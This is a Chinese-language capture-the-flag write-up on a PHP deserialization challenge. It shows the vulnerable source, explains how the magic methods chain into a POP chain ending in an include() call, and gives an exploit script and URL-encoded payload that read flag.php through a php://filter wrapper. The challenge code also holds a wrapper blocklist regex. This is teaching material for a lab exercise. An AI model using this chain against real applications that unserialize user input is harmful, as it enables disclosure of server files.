赞
踩
本题考查反序列化中的pop链(pop链即通过利用题目中其他类中的魔术方法来构造一个调用链,从而去调用目标类中能够进行命令执行或文件包含的普通方法),题目源码如下
- <?php
- //flag is in flag.php
- //WTF IS THIS?
- //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
- //And Crack It!
- class Modifier {
- protected $var;
- public function append($value){
- include($value);
- }
- public function __invoke(){
- $this->append($this->var);
- }
- }
-
- class Show{
- public $source;
- public $str;
- public function __construct($file='index.php'){
- $this->source = $file;
- echo 'Welcome to '.$this->source."<br>";
- }
- public function __toString(){
- return $this->str->source;
- }
-
- public function __wakeup(){
- if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
- echo "hacker";
- $this->source = "index.php";
- }
- }
- }
-
- class Test{
- public $p;
- public function __construct(){
- $this->p = array();
- }
-
- public function __get($key){
- $function = $this->p;
- return $function();
- }
- }
-
- if(isset($_GET['pop'])){
- @unserialize($_GET['pop']);
- }
- else{
- $a=new Show;
- highlight_file(__FILE__);
- }
构造pop链要分析各个类中的魔术方法,然后找到链条的头和尾(头不唯一,尾一定是目标类)
- __wakeup() //执行unserialize()时,先会调用这个函数
-
- __construct() //类的构造函数,当类被创建时就会被调用
-
- __toString() //当类被当成字符串时会被调用
-
- __get() //访问一个类不存在的或者私有的属性时会被调用
-
- __invoke() //以调用函数的方式调用一个对象时被调用
在Modifier类中有一个文件包含的点,所以这个就是目标了,要执行include就要调用_invoke()魔术方法,并且用var来构造payload;要调用_invoke()就要以函数形式调用Modifier对象
- class Test{
- public $p;
- public function __construct(){
- $this->p = array();
- }
-
- public function __get($key){
- $function = $this->p;
- return $function();
- }
- }
Test类中的_get()魔术方法中的发返回值$function()正好以函数的形式调用变量$function,所以让function为Modifier的对象就行,要调用_get()魔术方法就要访问Test类中不存在的属性
- class Show{
- public $source;
- public $str;
- public function __construct($file='index.php'){
- $this->source = $file;
- echo 'Welcome to '.$this->source."<br>";
- }
- public function __toString(){
- return $this->str->source;
- }
-
- public function __wakeup(){
- if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
- echo "hacker";
- $this->source = "index.php";
- }
- }
- }
Show类中的_toString()魔术方法中有调用source属性的操作,而Test类中不存在source属性,所以这里让$str为Test的一个对象即可;要调用_toString()方法要将Show类的对象作为字符串操作,正好Show类的_construct()魔术方法中有字符串的拼接操作,将$source作为Show的对象即可。到此已经找到了pop链的头和尾,可以开始构造exp了。
- <?php
- class Modifier {
- protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
-
- }
- class Test{
- public $p;
-
- }
- class Show{
- public $source;
- public $str;
-
- }
- $pop = new Show();
- $pop->source = new Show();
- $pop->source->str = new Test();
- $pop->source->str->p = new Modifier();
- echo urlencode(serialize($pop));//因为$var变量被protected修饰序列化带有%00所以需要进行url编码
- ?>
运行后得到的payload为:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
将payload通过GET传入后得到一段base64字符串解码后得到flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。